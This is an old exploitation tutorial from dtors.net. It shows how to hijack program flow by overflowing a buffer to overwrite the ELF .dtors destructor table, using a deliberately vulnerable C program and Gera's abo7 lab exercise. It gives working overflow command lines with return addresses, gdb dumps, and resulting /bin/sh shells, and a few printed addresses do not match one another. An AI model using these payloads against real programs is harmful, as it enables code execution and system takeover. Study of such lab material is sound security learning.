------------------------------------------------------- Manipulating the .dtors section By bob from www.dtors.net ------------------------------------------------------- Introduction ------------ There are numerous techniques nowadays to perform a buffer overflow, or format string attack, or corrupting a malloc chunk. But each way has one similarity. That is we can manipulate the destructor. This is what im going to explain in this paper, which in order for you to understand, you will need some understanding of C and ASM. Understanding Destructors ------------------------- A destructor, also abbreiviated as .dtors, is what is executed after the main() function exits. We also have the constructor, also known as .ctors, which is executed before the main() function starts. Both of which we can actually overwrite by default. We cant actually do much with .ctors, so we will focus on the .dtors section, and see if we can conclude how we access, and overwrite its address. If you have performed a buffer overflow before, and you understand, that we overwrite the instruction pointer [eip] with the address we have stored our arbitary code. This is the same kind of method, but what we are actually doing, is waiting for the main function to finish doing whatever it was it was doing, then execute our arbitary code. This is just another technique to change the flow of execution. To give a working example, and to go through, I have a vulnerable program below which we will manipulate the .dtors secton, in order to execute "/bin/sh". DSR.c ----- #include #include #include static void DSR(void); int main(int argc, char *argv[]) { static u_char buf[] = "DSR"; if (argc < 2){puts("Not enuff args given");} strcpy(buf, argv[1]); } void DSR(void) { printf("Overwrote .dtors with %0x\n",&DSR); execl("/bin/sh", "sh", NULL); } [bob@dtors bob]$ gcc DSR.c -o dsr [bob@dtors bob]$ objdump --syms ./dsr ./dsr: file format elf32-i386 .... 080484a8 l F .text 00000017 DSR .... This is our function address we need, so lets overflow our program, and look at what happens. [bob@dtors bob]$ ./dsr `perl -e 'print "A" x 20'``printf "\xd8\x84\x04\x08"` Overwrote .dtors with 80484d8 sh-2.05$ Thats was nice! So what happened here? Well when we look in gdb at the contents: (gdb) x/8x 0x0804955c 0x804955c <__DTOR_LIST__>: 0x41414141 0x080484a8 0x08049500 0x40013ed0 0x804956c <_GLOBAL_OFFSET_TABLE_+8>: 0x4000a960 0x400f8550 0x0804835a 0x0804836a (gdb) info reg eax 0x8049500 134518016 ecx 0x400 1024 edx 0x8049568 134518120 ebx 0x8049564 134518116 esp 0xbffffae8 -1073743128 ebp 0xbffffaec -1073743124 esi 0x4000ae60 1073786464 edi 0x40039255 1073975893 eip 0x8049500 134518016 eflags 0x10206 66054 (gdb) This is interesting: <__DTOR_LIST__>: 0x41414141 0x080484a8 0x08049500 We have our overflow, then the address of the function we called, then the last address is what the instruction pointer is pointing to. eip 0x8049500 134518016 So everything worked out fine. Exploitation ------------ In this section im going to include abo7.c, which is a vulnerable program from the Insecure Programming Game. Then I am going to attempt to overwrite the .dtors section with an address that points to my shellcode. http://community.core-sdi.com/~gera/InsecureProgramming/abo7.c /* sometimes you can, * * sometimes you don't * * that's what life's about */ char buf[256]={1}; int main(int argv,char **argc) { strcpy(buf,argc[1]); } [bob@dtors bob]$ ./abo7 `perl -e 'print "a" x 272;print "DCBA"'` Segmentation fault (core dumped) [bob@dtors bob]$ gdb -c core ./abo7 GNU gdb 19991004 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux"... Core was generated by `./abo7 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'. Program terminated with signal 11, Segmentation fault. Reading symbols from /lib/libc.so.6...done. Reading symbols from /lib/ld-linux.so.2...done. #0 0x41424344 in ?? () (gdb) i reg eax 0x41424344 1094861636 ecx 0x40105d0c 1074814220 edx 0x8049574 134518132 ebx 0x8049574 134518132 esp 0xbffff7f0 -1073743888 ebp 0xbffff7f4 -1073743884 esi 0x4000ae60 1073786464 edi 0x40039255 1073975893 eip 0x41424344 1094861636 fos 0x0 0 (gdb) maintenance info sections Exec file: `/home/bob/./abo7', file type elf32-i386 ... 0x0804956c->0x08049574 at 0x0000056c: .dtors ALLOC LOAD DATA HAS_CONTENTS ... (gdb) x/8x 0x0804956c 0x804956c <__DTOR_LIST_>: 0x61616161 0x41424344 0x08049500 0x40013ed0 0x61616161 0x41424344 0x08049500 0x40013ed0 ALLOC LOAD DATA CONTENTS Since the address at LOAD is ABCD in hex, it will segfault, but as soon as we overwrite that address and point it to some arbitary code, it will do something useful. Like here: [bob@dtors bob]$ ./abo7 `perl -e 'print "a" x 272;print "\x87\xfb\xff\xbf"'` sh-2.05$ exit bffffb87 is the address of where my shellcodeis located. 0x61616161 0xbffffb87 0x08049500 0x40013ed0 ALLOC LOAD DATA CONTENTS You see?! Conclusion ---------- This method is one of many, and when exploiting programs like this, it normally is a very reliable process, once we have the position of .dtors. In the examples above the size of the overflow will change depending on the machine your running it from. Thats it, have fun with this, and try out some of the GERA levels @ http://community.core-sdi.com/~gera/InsecureProgramming Contact/site ------------ My email: bob@dtors.net My site: www.dtors.net Support: hack.dtors.net << needs your help! Links ----- www.netric.org www.dtors.net http://community.core-sdi.com/~gera/InsecureProgramming http://hack.datafort.net http://roothack.org